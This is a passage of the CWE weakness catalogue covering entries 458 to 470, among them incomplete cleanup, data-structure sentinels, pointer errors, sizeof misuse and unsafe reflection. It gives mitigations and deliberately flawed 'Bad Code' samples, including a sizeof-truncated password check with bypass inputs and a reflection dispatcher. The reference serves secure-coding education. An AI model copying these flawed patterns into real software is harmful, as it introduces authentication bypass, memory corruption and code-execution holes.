[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 8: C++ Catastrophes." Page 143. McGraw-Hill. 2010.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Variable Initialization", Page 312.. 1st Edition. Addison Wesley. 2006.

**CWE-458: DEPRECATED: Incorrect Initialization**

Weakness ID: 458 (Deprecated Weakness Base)

Status: Deprecated

**Description****Summary**

This weakness has been deprecated because its name and description did not match. The description duplicated CWE-454, while the name suggested a more abstract initialization problem. Please refer to CWE-665 for the more abstract problem.

**CWE-459: Incomplete Cleanup**

Weakness ID: 459 (Weakness Base) Status: Draft

### Description

#### Summary

The software does not properly "clean up" and remove temporary or supporting resources after they have been used.

#### Alternate Terms

##### Insufficient Cleanup

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Other

##### Confidentiality

##### Integrity

##### Other

##### Read application data

##### Modify application data

##### DoS: resource consumption (other)

It is possible to overflow the number of temporary files because directories typically have limits on the number of files allowed. This could create a denial of service problem.

#### Demonstrative Examples

Stream resources in a Java application should be released in a finally block, otherwise an exception thrown before the call to close() would result in an unreleased I/O resource. In the example below, the close() method is called in the try block (incorrect).

##### Java Example:

*Bad Code*

```
try {
    InputStream is = new FileInputStream(path);
    byte b[] = new byte[is.available()];
    is.read(b);
    is.close();
} catch (Throwable t) {
    log.error("Something bad happened: " + t.getMessage());
}
```

#### Observed Examples

Reference	Description
CVE-2000-0552	World-readable temporary file not deleted after use.
CVE-2002-0788	Interaction error creates a temporary file that can not be deleted due to strong permissions.
CVE-2002-2066	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2067	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2068	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2069	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2002-2070	Alternate data streams for NTFS files are not cleared when files are wiped (alternate channel / infoleak).
CVE-2005-1744	Users not logged out when application is restarted after security-relevant changes were made.
CVE-2005-2293	Temporary file not deleted after use, leaking database usernames and passwords.

#### Potential Mitigations

## Architecture and Design Implementation

Temporary files and other supporting resources should be deleted/released immediately after they are no longer needed.

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	B	404	Improper Resource Shutdown or Release	1000	699
ChildOf	C	452	Initialization and Cleanup Errors	699	766
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1120
ChildOf	C	857	CERT Java Secure Coding Section 12 - Input Output (FIO)	844	1296
ChildOf	C	982	SFP Secondary Cluster: Failure to Release Resource	888	1385
ParentOf	B	226	<i>Sensitive Information Uncleared Before Release</i>	1000	417
ParentOf	V	460	<i>Improper Cleanup on Thrown Exception</i>	1000	777
ParentOf	V	568	<i>finalize() Method Without super.finalize()</i>	1000	905

### Relationship Notes

CWE-459 is a child of CWE-404 because, while CWE-404 covers any type of improper shutdown or release of a resource, CWE-459 deals specifically with a multi-step shutdown process in which a crucial step for "proper" cleanup is omitted or impossible. That is, CWE-459 deals specifically with a cleanup or shutdown process that does not successfully remove all potentially sensitive data.

Overlaps other categories such as permissions and containment. Concept needs further development. This could be primary (e.g. leading to infoleak) or resultant (e.g. resulting from unhandled error conditions or early termination).

### Functional Areas

- File processing

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Cleanup
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT Java Secure Coding	FIO04-J		Release resources when they are no longer needed
CERT Java Secure Coding	FIO00-J		Do not operate on files in shared directories
Software Fault Patterns	SFP14		Failure to release resource

## CWE-460: Improper Cleanup on Thrown Exception

Weakness ID: 460 (*Weakness Variant*)

Status: Draft

### Description

#### Summary

The product does not clean up its state or incorrectly cleans up its state when an exception is thrown, leading to unexpected state or control flow.

#### Extended Description

Often, when functions or loops become complicated, some level of resource cleanup is needed throughout execution. Exceptions can disturb the flow of the code and prevent the necessary cleanup from happening.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++
- Java
- .NET

### Common Consequences

**Other**

**Varies by context**

The code could be left in a bad state.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

**C++/Java Example:**

*Bad Code*

```
public class foo {
    public static final void main( String args[] ) {
        boolean returnValue;
        returnValue=doStuff();
    }
    public static final boolean doStuff( ) {
        boolean threadLock;
        boolean truthvalue=true;
        try {
            while(
                //check some condition
            ){
                threadLock=true; //do some stuff to truthvalue
                threadLock=false;
            }
        }
        catch (Exception e){
            System.err.println("You did something bad");
            if (something) return truthvalue;
        }
        return truthvalue;
    }
}
```

In this case, you may leave a thread locked accidentally.

**Potential Mitigations**

**Implementation**

If one breaks from a loop or function by throwing an exception, make sure that cleanup happens or that you should exit the program. Use throwing exceptions sparsely.

**Relationships**

Nature	Type	ID	Name	W	Page
ChildOf	C	452	Initialization and Cleanup Errors	699	766
ChildOf	B	459	Incomplete Cleanup	1000	775
ChildOf	G	755	Improper Handling of Exceptional Conditions	1000	1150
ChildOf	C	851	CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)	844	1294
ChildOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1317
ChildOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1376

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Improper cleanup on thrown exception
CERT Java Secure Coding	ERR03-J	Restore prior object state on method failure
CERT Java Secure Coding	ERR05-J	Do not let checked exceptions escape from a finally block
CERT C++ Secure Coding	ERR39-CPP	Guarantee exception safety

**CWE-461: Data Structure Issues**

Category ID: 461 (Category)

Status: Draft

**Description**

**Summary**

Weaknesses in this category are related to improper handling of specific data structures.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	19	Data Handling	<b>699</b>	18
ParentOf	<b>B</b>	462	Duplicate Key in Associative List (Alist)	<b>699</b>	779
ParentOf	<b>B</b>	463	Deletion of Data Structure Sentinel	<b>699</b>	780
ParentOf	<b>B</b>	464	Addition of Data Structure Sentinel	<b>699</b>	781

## CWE-462: Duplicate Key in Associative List (Alist)

Weakness ID: 462 (Weakness Base)

Status: Incomplete

### Description

#### Summary

Duplicate keys in associative lists can lead to non-unique keys being mistaken for an error.

#### Extended Description

A duplicate key entry -- if the alist is designed properly -- could be used as a constant time replace function. However, duplicate key entries could be inserted by mistake. Because of this ambiguity, duplicate key entries in an association list are not recommended and should not be allowed.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- C
- C++
- Java
- .NET

#### Common Consequences

##### Other

##### Quality degradation

##### Varies by context

#### Likelihood of Exploit

Low

#### Demonstrative Examples

The following code adds data to a list and then attempts to sort the data.

*Bad Code*

```
alist = []
while (foo()): #now assume there is a string data with a key basename
    queue.append(basename,data)
    queue.sort()
```

Since basename is not necessarily unique, this may not sort how one would like it to be.

#### Potential Mitigations

##### Architecture and Design

Use a hash table instead of an alist.

##### Architecture and Design

Use an alist which checks the uniqueness of hash keys with each entry before inserting the entry.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	461	Data Structure Issues	<b>699</b>	778
ChildOf	<b>B</b>	694	Use of Multiple Resources with Duplicate Identifier	<b>1000</b>	1076
ChildOf	<b>C</b>	744	CERT C Secure Coding Section 10 - Environment (ENV)	<b>734</b>	1135
ChildOf	<b>C</b>	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	<b>868</b>	1316

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf	<b>C</b>	977	SFP Secondary Cluster: Design	<b>888</b>	1382

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Duplicate key in associative list (alist)
CERT C Secure Coding	ENV02-C	Beware of multiple environment variables with the same effective name
CERT C++ Secure Coding	ENV02-CPP	Beware of multiple environment variables with the same effective name

## CWE-463: Deletion of Data Structure Sentinel

Weakness ID: 463 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The accidental deletion of a data-structure sentinel can cause serious programming logic problems.

#### Extended Description

Often times data-structure sentinels are used to mark structure of the data structure. A common example of this is the null character at the end of strings. Another common example is linked lists which may contain a sentinel to mark the end of the list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the deletion or modification outside of some wrapper interface which provides safety.

#### Time of Introduction

- Architecture and Design
- Implementation

#### Applicable Platforms

##### Languages

- C
- C++

#### Common Consequences

##### Availability

##### Other

##### Other

Generally this error will cause the data structure to not work properly.

##### Authorization

##### Other

##### Other

If a control character, such as NULL is removed, one may cause resource access control problems.

#### Demonstrative Examples

This example creates a null terminated string and prints its contents.

##### C/C++ Example:

*Bad Code*

```
char *foo;
int counter;
foo=calloc(sizeof(char)*10);
for (counter=0;counter!=10;counter++) {
    foo[counter]='a';
    printf("%s\n",foo);
}
```

The string foo has space for 9 characters and a null terminator, but 10 characters are written to it. As a result, the string foo is not null terminated and calling printf() on it will have unpredictable and possibly dangerous results.

#### Potential Mitigations



### Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

### Build and Compilation

#### Compilation or Build Hardening

#### Defense in Depth

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

### Operation

Use OS-level preventative functionality. Not a complete solution.

### Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	461	Data Structure Issues	<b>699</b>	778
PeerOf	<b>B</b>	464	Addition of Data Structure Sentinel	1000	781
ChildOf	<b>C</b>	707	Improper Enforcement of Message or Data Structure	<b>1000</b>	1107
ChildOf	<b>C</b>	977	SFP Secondary Cluster: Design	<b>888</b>	1382
PeerOf	<b>B</b>	170	Improper Null Termination	1000	328

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Deletion of data-structure sentinel

### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "NUL-Termination Problems", Page 452.. 1st Edition. Addison Wesley. 2006.

## CWE-464: Addition of Data Structure Sentinel

Weakness ID: 464 (Weakness Base) Status: Incomplete

### Description

#### Summary

The accidental addition of a data-structure sentinel can cause serious programming logic problems.

#### Extended Description

Data-structure sentinels are often used to mark the structure of data. A common example of this is the null character at the end of strings or a special sentinel to mark the end of a linked list. It is dangerous to allow this type of control data to be easily accessible. Therefore, it is important to protect from the addition or modification of sentinels.

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Integrity

#### Modify application data

Generally this error will cause the data structure to not work properly by truncating the data.

## Likelihood of Exploit

High to Very High

## Demonstrative Examples

The following example assigns some character values to a list of characters and prints them each individually, and then as a string. The third character value is intended to be an integer taken from user input and converted to an int.

### C/C++ Example:

*Bad Code*

```
char *foo;
foo=malloc(sizeof(char)*5);
foo[0]='a';
foo[1]='a';
foo[2]=atoi(getc(stdin));
foo[3]='c';
foo[4]='\0'
printf("%c %c %c %c %c \n",foo[0],foo[1],foo[2],foo[3],foo[4]);
printf("%s\n",foo);
```

The first print statement will print each character separated by a space. However, if a non-integer is read from stdin by `getc`, then `atoi` will not make a conversion and return 0. When `foo` is printed as a string, the 0 at character `foo[2]` will act as a NULL terminator and `foo[3]` will never be printed.

## Potential Mitigations

### Implementation

#### Architecture and Design

Encapsulate the user from interacting with data sentinels. Validate user input to verify that sentinels are not present.

#### Implementation

Proper error checking can reduce the risk of inadvertently introducing sentinel values into data. For example, if a parsing function fails or encounters an error, it might return a value that is the same as the sentinel.

#### Architecture and Design

Use an abstraction library to abstract away risky APIs. This is not a complete solution.

#### Operation

Use OS-level preventative functionality. This is not a complete solution.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		138	Improper Neutralization of Special Elements	1000	285
ChildOf		461	Data Structure Issues	699	778
ChildOf		741	CERT C Secure Coding Section 07 - Characters and Strings (STR)	734	1133
ChildOf		875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1314
ChildOf		977	SFP Secondary Cluster: Design	888	1382
PeerOf		170	<i>Improper Null Termination</i>	1000	328
PeerOf		463	<i>Deletion of Data Structure Sentinel</i>	1000	780

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Addition of data-structure sentinel
CERT C Secure Coding	STR03-C	Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR06-C	Do not assume that <code>strtok()</code> leaves the parse string unchanged
CERT C++ Secure Coding	STR03-CPP	Do not inadvertently truncate a null-terminated character array
CERT C++ Secure Coding	STR06-CPP	Do not assume that <code>strtok()</code> leaves the parse string unchanged

# CWE-465: Pointer Issues

Category ID: 465 (Category) Status: Draft**Description****Summary**

Weaknesses in this category are related to improper handling of pointers.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	18	Source Code	<b>699</b>	17
ParentOf	<b>B</b>	466	Return of Pointer Value Outside of Expected Range	<b>699</b>	783
ParentOf	<b>V</b>	467	Use of sizeof() on a Pointer Type	<b>699</b>	784
ParentOf	<b>B</b>	468	Incorrect Pointer Scaling	<b>699</b>	786
ParentOf	<b>B</b>	469	Use of Pointer Subtraction to Determine Size	<b>699</b>	788
ParentOf	<b>B</b>	476	NULL Pointer Dereference	699	798
ParentOf	<b>B</b>	587	Assignment of a Fixed Address to a Pointer	<b>699</b>	927
ParentOf	<b>V</b>	588	Attempt to Access Child of a Non-structure Pointer	<b>699</b>	928
ParentOf	<b>V</b>	761	Free of Pointer not at Start of Buffer	<b>699</b>	1159
ParentOf	<b>B</b>	763	Release of Invalid Pointer or Reference	699	1164
ParentOf	<b>V</b>	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	699	1197
ParentOf	<b>B</b>	822	Untrusted Pointer Dereference	699	1250
ParentOf	<b>B</b>	823	Use of Out-of-range Pointer Offset	699	1252
ParentOf	<b>B</b>	824	Access of Uninitialized Pointer	699	1254
ParentOf	<b>B</b>	825	Expired Pointer Dereference	699	1255

## CWE-466: Return of Pointer Value Outside of Expected Range

Weakness ID: 466 (Weakness Base) Status: Draft**Description****Summary**

A function can return a pointer to memory that is outside of the buffer that the pointer is expected to reference.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms****Languages**

- C
- C++

**Common Consequences****Confidentiality****Integrity****Read memory****Modify memory****Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	<b>G</b>	20	Improper Input Validation	<b>700</b>	18
ChildOf	<b>G</b>	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	<b>1000</b>	226
ChildOf	<b>C</b>	465	Pointer Issues	<b>699</b>	782
ChildOf	<b>C</b>	738	CERT C Secure Coding Section 04 - Integers (INT)	<b>734</b>	1132
ChildOf	<b>C</b>	872	CERT C++ Secure Coding Section 04 - Integers (INT)	<b>868</b>	1313
ChildOf	<b>C</b>	998	SFP Secondary Cluster: Glitch in Computation	<b>888</b>	1393

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Illegal Pointer Value
CERT C Secure Coding	INT11-C	Take care when converting from pointer to integer or integer to pointer
CERT C++ Secure Coding	INT11-CPP	Take care when converting from pointer to integer or integer to pointer
Software Fault Patterns	SFP1	Glitch in computation

**White Box Definitions**

A weakness where code path has:

1. end statement that returns an address associated with a buffer where address is outside the buffer
2. start statement that computes a position into the buffer

**References**

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

**Maintenance Notes**

This entry should have a chaining relationship with CWE-119 instead of a parent / child relationship, however the focus of this weakness does not map cleanly to any existing entries in CWE. A new parent is being considered which covers the more generic problem of incorrect return values. There is also an abstract relationship to weaknesses in which one component sends incorrect messages to another component; in this case, one routine is sending an incorrect value to another.

**CWE-467: Use of sizeof() on a Pointer Type**

**Weakness ID:** 467 (*Weakness Variant*)

**Status:** Draft

**Description****Summary**

The code calls sizeof() on a malloced pointer type, which always returns the wordsize/8. This can produce an unexpected result if the programmer intended to determine how much memory has been allocated.

**Extended Description**

The use of sizeof() on a pointer can sometimes generate useful information. An obvious case is to find out the wordsize on a platform. More often than not, the appearance of sizeof(pointer) indicates a bug.

**Time of Introduction**

- Implementation

**Applicable Platforms****Languages**

- C
- C++

**Common Consequences****Integrity****Confidentiality****Modify memory****Read memory**

This error can often cause one to allocate a buffer that is much smaller than what is needed, leading to resultant weaknesses such as buffer overflows.

**Likelihood of Exploit**

High

**Demonstrative Examples****Example 1:**

Care should be taken to ensure sizeof returns the size of the data structure itself, and not the size of the pointer to the data structure.

In this example, sizeof(foo) returns the size of the pointer.

**C/C++ Example:**

*Bad Code*

```
double *foo;
...
foo = (double *)malloc(sizeof(foo));
```

In this example, sizeof(\*foo) returns the size of the data structure and not the size of the pointer.

**C/C++ Example:**

*Good Code*

```
double *foo;
...
foo = (double *)malloc(sizeof(*foo));
```

**Example 2:**

This example defines a fixed username and password. The AuthenticateUser() function is intended to accept a username and a password from an untrusted user, and check to ensure that it matches the username and password. If the username and password match, AuthenticateUser() is intended to indicate that authentication succeeded.

*Bad Code*

```
/* Ignore CWE-259 (hard-coded password) and CWE-309 (use of password system for authentication) for this example. */
char *username = "admin";
char *pass = "password";
int AuthenticateUser(char *inUser, char *inPass) {
    printf("Sizeof username = %d\n", sizeof(username));
    printf("Sizeof pass = %d\n", sizeof(pass));
    if (strncmp(username, inUser, sizeof(username))) {
        printf("Auth failure of username using sizeof\n");
        return(AUTH_FAIL);
    }
    /* Because of CWE-467, the sizeof returns 4 on many platforms and architectures. */
    if (! strncmp(pass, inPass, sizeof(pass))) {
        printf("Auth success of password using sizeof\n");
        return(AUTH_SUCCESS);
    }
    else {
        printf("Auth fail of password using sizeof\n");
        return(AUTH_FAIL);
    }
}
int main (int argc, char **argv)
{
    int authResult;
    if (argc < 3) {
        ExitError("Usage: Provide a username and password");
    }
    authResult = AuthenticateUser(argv[1], argv[2]);
    if (authResult != AUTH_SUCCESS) {
        ExitError("Authentication failed");
    }
    else {
        DoAuthenticatedTask(argv[1]);
    }
}
```

In AuthenticateUser(), because sizeof() is applied to a parameter with an array type, the sizeof() call might return 4 on many modern architectures. As a result, the strncmp() call only checks the first four characters of the input password, resulting in a partial comparison (CWE-187), leading to improper authentication (CWE-287).

Because of the partial comparison, any of these passwords would still cause authentication to succeed for the "admin" user:

```
pass5
passABCDEFGH
passWORD
```

Because only 4 characters are checked, this significantly reduces the search space for an attacker, making brute force attacks more feasible.

The same problem also applies to the username, so values such as "adminXYZ" and "administrator" will succeed for the username.

## Potential Mitigations

### Implementation

Use expressions such as "sizeof(\*pointer)" instead of "sizeof(pointer)", unless you intend to run sizeof() on a pointer type to gain some platform independence or if you are allocating a variable on the stack.

## Weakness Ordinalities

**Primary** (where the weakness exists independent of other weaknesses)

## Relationships

Nature	Type	ID	Name	W	Page
CanPrecede	B	131	Incorrect Calculation of Buffer Size	1000	269
ChildOf	C	465	Pointer Issues	699	782
ChildOf	C	682	Incorrect Calculation	1000	1060
ChildOf	C	737	CERT C Secure Coding Section 03 - Expressions (EXP)	734	1131
ChildOf	C	740	CERT C Secure Coding Section 06 - Arrays (ARR)	734	1133
ChildOf	C	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1313
ChildOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	1381
MemberOf	V	884	CWE Cross-section	884	1319

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Use of sizeof() on a pointer type
CERT C Secure Coding	ARR01-C	Do not apply the sizeof operator to a pointer when taking the size of an array
CERT C Secure Coding	EXP01-C	Do not take the size of a pointer to determine the size of the pointed-to type
CERT C++ Secure Coding	ARR01-CPP	Do not apply the sizeof operator to a pointer when taking the size of an array
Software Fault Patterns	SFP10	Incorrect Buffer Length Computation

## White Box Definitions

A weakness where code path has:

1. end statement that passes an identity of a dynamically allocated memory resource to a sizeof operator
2. start statement that allocates the dynamically allocated memory resource

## References

Robert Seacord. "EXP01-A. Do not take the sizeof a pointer to determine the size of a type". <  
<https://www.securecoding.cert.org/confluence/display/secocode/EXP01-A.+Do+not+take+the+sizeof+pointer+to+determine+the+size+of+a+type> >.

# CWE-468: Incorrect Pointer Scaling

**Weakness ID:** 468 (Weakness Base)

**Status:** Incomplete

## Description

### Summary

In C and C++, one may often accidentally refer to the wrong memory due to the semantics of when math operations are implicitly scaled.

## Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Modes of Introduction

Programmers may try to index from a pointer by adding a number of bytes. This is incorrect because C and C++ implicitly scale the operand by the size of the data type.

### Common Consequences

#### Confidentiality

#### Integrity

#### Read memory

#### Modify memory

Incorrect pointer scaling will often result in buffer overflow conditions. Confidentiality can be compromised if the weakness is in the context of a buffer over-read or under-read.

### Likelihood of Exploit

Medium

### Demonstrative Examples

This example attempts to calculate the position of the second byte of a pointer.

#### C Example:

*Bad Code*

```
int *p = x;
char * second_char = (char *) (p + 1);
```

In this example, `second_char` is intended to point to the second byte of `p`. But, adding 1 to `p` actually adds `sizeof(int)` to `p`, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

### Potential Mitigations

#### Architecture and Design

Use a platform with high-level memory abstractions.

#### Implementation

Always use array indexing instead of direct pointer manipulation.

#### Architecture and Design

Use technologies for preventing buffer overflows.

### Relationships

Nature	Type	ID	Name	ⓧ	Page
ChildOf		465	Pointer Issues	699	782
ChildOf		682	Incorrect Calculation	1000	1060
ChildOf		737	CERT C Secure Coding Section 03 - Expressions (EXP)	734	1131
ChildOf		998	SFP Secondary Cluster: Glitch in Computation	888	1393
MemberOf		630	<i>Weaknesses Examined by SAMATE</i>	630	980
MemberOf		884	<i>CWE Cross-section</i>	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Unintentional pointer scaling
CERT C Secure Coding	EXP08-C	Ensure pointer arithmetic is used correctly
Software Fault Patterns	SFP1	Glitch in computation

### White Box Definitions

A weakness where code path has a statement that performs a pointer arithmetic operation on a pointer to `datatype1` and casts the result of the operation to a pointer type to `datatype2` where



datatype2 has different length than the datatype1 and the datatype1 has different length than a character type.

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Pointer Arithmetic", Page 277.. 1st Edition. Addison Wesley. 2006.

# CWE-469: Use of Pointer Subtraction to Determine Size

Weakness ID: 469 (Weakness Base)

Status: Draft

## Description

### Summary

The application subtracts one pointer from another in order to determine size, but this calculation can be incorrect if the pointers do not exist in the same memory chunk.

### Time of Introduction

- Implementation

### Applicable Platforms

#### Languages

- C
- C++

### Common Consequences

#### Access Control

#### Integrity

#### Confidentiality

#### Availability

#### Execute unauthorized code or commands

#### Gain privileges / assume identity

There is the potential for arbitrary code execution with privileges of the vulnerable program.

### Likelihood of Exploit

Medium

### Demonstrative Examples

The following example contains the method size that is used to determine the number of nodes in a linked list. The method is passed a pointer to the head of the linked list.

#### C/C++ Example:

*Bad Code*

```
struct node {
    int data;
    struct node* next;
};
// Returns the number of nodes in a linked list from
// the given pointer to the head of the list.
int size(struct node* head) {
    struct node* current = head;
    struct node* tail;
    while (current != NULL) {
        tail = current;
        current = current->next;
    }
    return tail - head;
}
// other methods for manipulating the list
...
```

However, the method creates a pointer that points to the end of the list and uses pointer subtraction to determine the number of nodes in the list by subtracting the tail pointer from the head pointer. There no guarantee that the pointers exist in the same memory area, therefore using pointer subtraction in this way could return incorrect results and allow other unintended behavior. In this example a counter should be used to determine the number of nodes in the list, as shown in the following code.

**C/C++ Example:**

Good Code

```

...
int size(struct node* head) {
    struct node* current = head;
    int count = 0;
    while (current != NULL) {
        count++;
        current = current->next;
    }
    return count;
}

```

**Potential Mitigations****Implementation**

Save an index variable. This is the recommended solution. Rather than subtract pointers from one another, use an index variable of the same size as the pointers in question. Use this variable to "walk" from one pointer to the other and calculate the difference. Always sanity check this number.

**Relationships**

Nature	Type	ID	Name	Count	Page
ChildOf		465	Pointer Issues	699	782
ChildOf		682	Incorrect Calculation	1000	1060
ChildOf		740	CERT C Secure Coding Section 06 - Arrays (ARR)	734	1133
ChildOf		874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)	868	1313
ChildOf		971	SFP Secondary Cluster: Faulty Pointer Use	888	1381
MemberOf		884	CWE Cross-section	884	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Mapped Node Name
CLASP		Improper pointer subtraction
CERT C Secure Coding	ARR36-C	Do not subtract or compare two pointers that do not refer to the same array
CERT C Secure Coding	ARR37-C	Do not add or subtract an integer to a pointer to a non-array object
CERT C++ Secure Coding	ARR36-CPP	Do not subtract or compare two pointers or iterators that do not refer to the same array or container
CERT C++ Secure Coding	ARR37-CPP	Do not add or subtract an integer to a pointer to a non-array object
Software Fault Patterns	SFP7	Faulty Pointer Use

**White Box Definitions**

A weakness where code path has:

1. end statement that subtracts pointer1 from pointer2
2. start statement that associates pointer1 with a memory chunk1 and pointer2 to a memory chunk2
3. memory chunk1 is not equal to the memory chunk2

## CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')

Weakness ID: 470 (Weakness Base)

Status: Draft

**Description****Summary**

The application uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.

**Extended Description**

If the application uses external inputs to determine which class to instantiate or which method to invoke, then an attacker could supply values to select unexpected classes or methods. If

this occurs, then the attacker could create control flow paths that were not intended by the developer. These paths could bypass authentication or access control checks, or otherwise cause the application to behave in an unexpected manner. This situation becomes a doomsday scenario if the attacker can upload files into a location that appears on the application's classpath (CWE-427) or add new entries to the application's classpath (CWE-426). Under either of these conditions, the attacker can use reflection to introduce new, malicious behavior into the application.

### Alternate Terms

#### Reflection Injection

### Time of Introduction

- Architecture and Design
- Implementation

### Applicable Platforms

#### Languages

- Java
- PHP
- Interpreted languages (*Sometimes*)

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Other

#### Execute unauthorized code or commands

#### Alter execution logic

The attacker might be able to execute code that is not directly accessible to the attacker. Alternately, the attacker could call unexpected code in the wrong place or the wrong time, possibly modifying critical system state.

#### Availability

#### Other

#### DoS: crash / exit / restart

#### Other

The attacker might be able to use reflection to call the wrong code, possibly with unexpected arguments that violate the API (CWE-227). This could cause the application to exit or hang.

#### Confidentiality

#### Read application data

By causing the wrong code to be invoked, the attacker might be able to trigger a runtime error that leaks sensitive information in the error message, such as CWE-536.

### Demonstrative Examples

A common reason that programmers use the reflection API is to implement their own command dispatcher. The following example shows a command dispatcher that does not use reflection:

#### Java Example:

*Good Code*

```
String ctl = request.getParameter("ctl");
Worker ao = null;
if (ctl.equals("Add")) {
    ao = new AddCommand();
}
else if (ctl.equals("Modify")) {
    ao = new ModifyCommand();
}
else {
    throw new UnknownActionError();
}
ao.doAction(request);
```

A programmer might refactor this code to use reflection as follows:

**Java Example:**

Bad Code

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.doAction(request);
```

The refactoring initially appears to offer a number of advantages. There are fewer lines of code, the if/else blocks have been entirely eliminated, and it is now possible to add new command types without modifying the command dispatcher. However, the refactoring allows an attacker to instantiate any object that implements the Worker interface. If the command dispatcher is still responsible for access control, then whenever programmers create a new class that implements the Worker interface, they must remember to modify the dispatcher's access control code. If they do not modify the access control code, then some Worker classes will not have any access control. One way to address this access control problem is to make the Worker object responsible for performing the access control check. An example of the re-refactored code follows:

**Java Example:**

Bad Code

```
String ctl = request.getParameter("ctl");
Class cmdClass = Class.forName(ctl + "Command");
Worker ao = (Worker) cmdClass.newInstance();
ao.checkAccessControl(request);
ao.doAction(request);
```

Although this is an improvement, it encourages a decentralized approach to access control, which makes it easier for programmers to make access control mistakes. This code also highlights another security problem with using reflection to build a command dispatcher. An attacker can invoke the default constructor for any kind of object. In fact, the attacker is not even constrained to objects that implement the Worker interface; the default constructor for any object in the system can be invoked. If the object does not implement the Worker interface, a ClassCastException will be thrown before the assignment to ao, but if the constructor performs operations that work in the attacker's favor, the damage will already have been done. Although this scenario is relatively benign in simple applications, in larger applications where complexity grows exponentially it is not unreasonable that an attacker could find a constructor to leverage as part of an attack.

**Observed Examples**

Reference	Description
CVE-2004-2331	Database system allows attackers to bypass sandbox restrictions by using the Reflection API.

**Potential Mitigations****Architecture and Design**

Refactor your code to avoid using reflection.

**Architecture and Design**

Do not use user-controlled inputs to select and load classes or code.

**Implementation**

Apply strict input validation by using whitelists or indirect selection to ensure that the user is only selecting allowable classes or code.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		20	Improper Input Validation	<b>699</b> <b>700</b>	18
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	1000	957
ChildOf		859	CERT Java Secure Coding Section 14 - Platform Security (SEC)	<b>844</b>	1297
